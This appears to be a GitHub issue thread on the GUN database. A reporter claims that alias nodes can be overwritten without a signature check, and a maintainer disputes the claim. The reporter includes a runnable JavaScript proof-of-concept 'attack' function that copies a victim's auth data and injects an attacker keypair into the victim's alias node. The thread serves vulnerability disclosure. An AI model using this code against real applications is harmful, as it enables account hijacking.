Closed phantomlsh closed 2 years ago
I think it seems to be more serious than getting the wrong public key from the alias. It affects the gun.user().auth()
as well. For example:
// a normal signup
gun.user().create('user1', 'password')
console.log(gun.user().is)
// {
// pub: 'h3UqD7xW0xQS4Bug1Y8XUkK8zCsFQOZNMAeL-7054O4.T5pxnnojZJqgZC7biJrtBnptXT-K37tHosZpjGcDfeM',
// epub: 'koFhqFRIXnEcSO7DzbftpJCHs2nNu47igEyuYsRLGf0.fr79DWOnpDI_lwUYioYg45JPmN6aQU3NuXq6byoTz80',
// alias: 'user1'
// }
Now refresh the page and make sure the new gun instance is not logged in.
// attacker
console.log(gun.user().is) // undefined
gun.user().create('attacker', 'password')
console.log(gun.user().is)
// {
// pub: 'V--E_5rcKeHOrhO2G1ilBFphQ_Xikv4zOTWNXNw-ad0.Yhk_hLqr3BVgTYN0JSlHoqI7QvskAC2kdbY6kSMpWBk',
// epub: '4L5AzVmhNAEKAxIBGx4yNaToRnrojiGtUC3bzi5DBFw.YO7pCtvDsYbNU5IlyXALOv7PoBmQNrwkLM2Qfl9qR48',
// alias: 'attacker'
// }
gun.get('~@user1').set(gun.user())
Refresh the page again,
// user signin later
console.log(gun.user().is) // undefined
gun.user().auth('user1', 'password')
console.log(gun.user().is)
// {
// pub: 'V--E_5rcKeHOrhO2G1ilBFphQ_Xikv4zOTWNXNw-ad0.Yhk_hLqr3BVgTYN0JSlHoqI7QvskAC2kdbY6kSMpWBk',
// epub: '4L5AzVmhNAEKAxIBGx4yNaToRnrojiGtUC3bzi5DBFw.YO7pCtvDsYbNU5IlyXALOv7PoBmQNrwkLM2Qfl9qR48',
// alias: 'user1'
// }
You can see that, although the alias is the correct alias, the public key is the attacker's public key!
As advised by honorable developers in Gitter chat, further discussion of this issue might go into direct contact with maintainers.
Hey @phantomlsh , thanks for the concern, I replied on chat too, that docs state:
https://gun.eco/docs/User#unexpected-behavior
Docs warn that username/aliases are NOT globally unique. Don't use it as such. Hopefully this will resolve your concern.
And note: You used the same password. So of course it logged in. Correct, if an attacker knows your password, they can attack your account (this is true all/even centralized systems too). Try with different passwords and you'll see login doesn't work.
You exploited yourself, not the login system.
The only purpose of the alias/username is to support web2-like login. Assuming that the alias is unique is incorrect according to the docs and yes could result in bad things for your app, but you discover pretty quickly that alias/usernames aren't unique during development, as its basically impossible to ship an app with that incorrect assumption.
Though please, people frequently ask about why usernames are not globally unique, so it is better to remind people in more places that they are not unique - feel free to edit the wiki (the docs) to remind people about this though.
As also demonstrated in the chat, here I make it easier to reproduce:
async function attack (alias) {
const aliasNode = await gun.get('~@' + alias).once().then()
delete aliasNode._
const targetPub = Object.keys(aliasNode)[0].substring(1)
console.log(`${alias}'s original public key is ` + targetPub)
const targetAuth = await new Promise(r => gun.user(targetPub).get('auth').once(r))
const attackPassword = 'WHATEVER I DONT CARE!'
let newPub = '~', attackAlias = ''
while (newPub > targetPub) {
attackAlias = Math.random().toString(36).substring(2)
await new Promise(r => gun.user().create(attackAlias, attackPassword, r))
newPub = gun.user().is.pub
}
const pair = await new Promise(r => gun.user().auth(attackAlias, attackPassword, r)).then(r => r.sea)
gun.user().get('auth').put(targetAuth)
gun.get('~@' + alias).set(gun.user())
console.log(`Cheers! Now ${alias} would log into your new public key, and the key pairs info is following:`, pair)
}
attack('aliasYouJustCreated')
Wait until it cheers.
Note that the attack function does NOT require your password.
each picture is a console after a refresh and clean of localStorage
You keep saying the attack does not require the same password, but all your code & examples do.
As scientific replicable proof this doesn't work, just click & try https://jsbin.com/nididosavo/edit?js,console
I got tired to explain this. Note, the three pictures in the example, first and third belong to the USER while only the second one belongs to the attacker. You can verify that the attacker does not use the user's password.
In your demo you just create users. But note in my attack function, I also copy the auth data targetAuth
from the user. That's why your example is not working.
Here is the latest attack method with demo:
Now you're not logging out of your own account and scrambling it, again you're attacking your own logged in account.
Science shows you are wrong: https://jsbin.com/nididosavo/edit?js,console .
From the document I have read that we can get one user's public key from its alias by
which should give us
However, the alias node can be modifed by anyone without a check in signature. For example:
Now the alias node becomes
which implies any attacker can make fake public keys into any alias node.
Is there a way to prevent this? Or would it be better to verify signature when modify the alias node, just as modifying the publicKey node?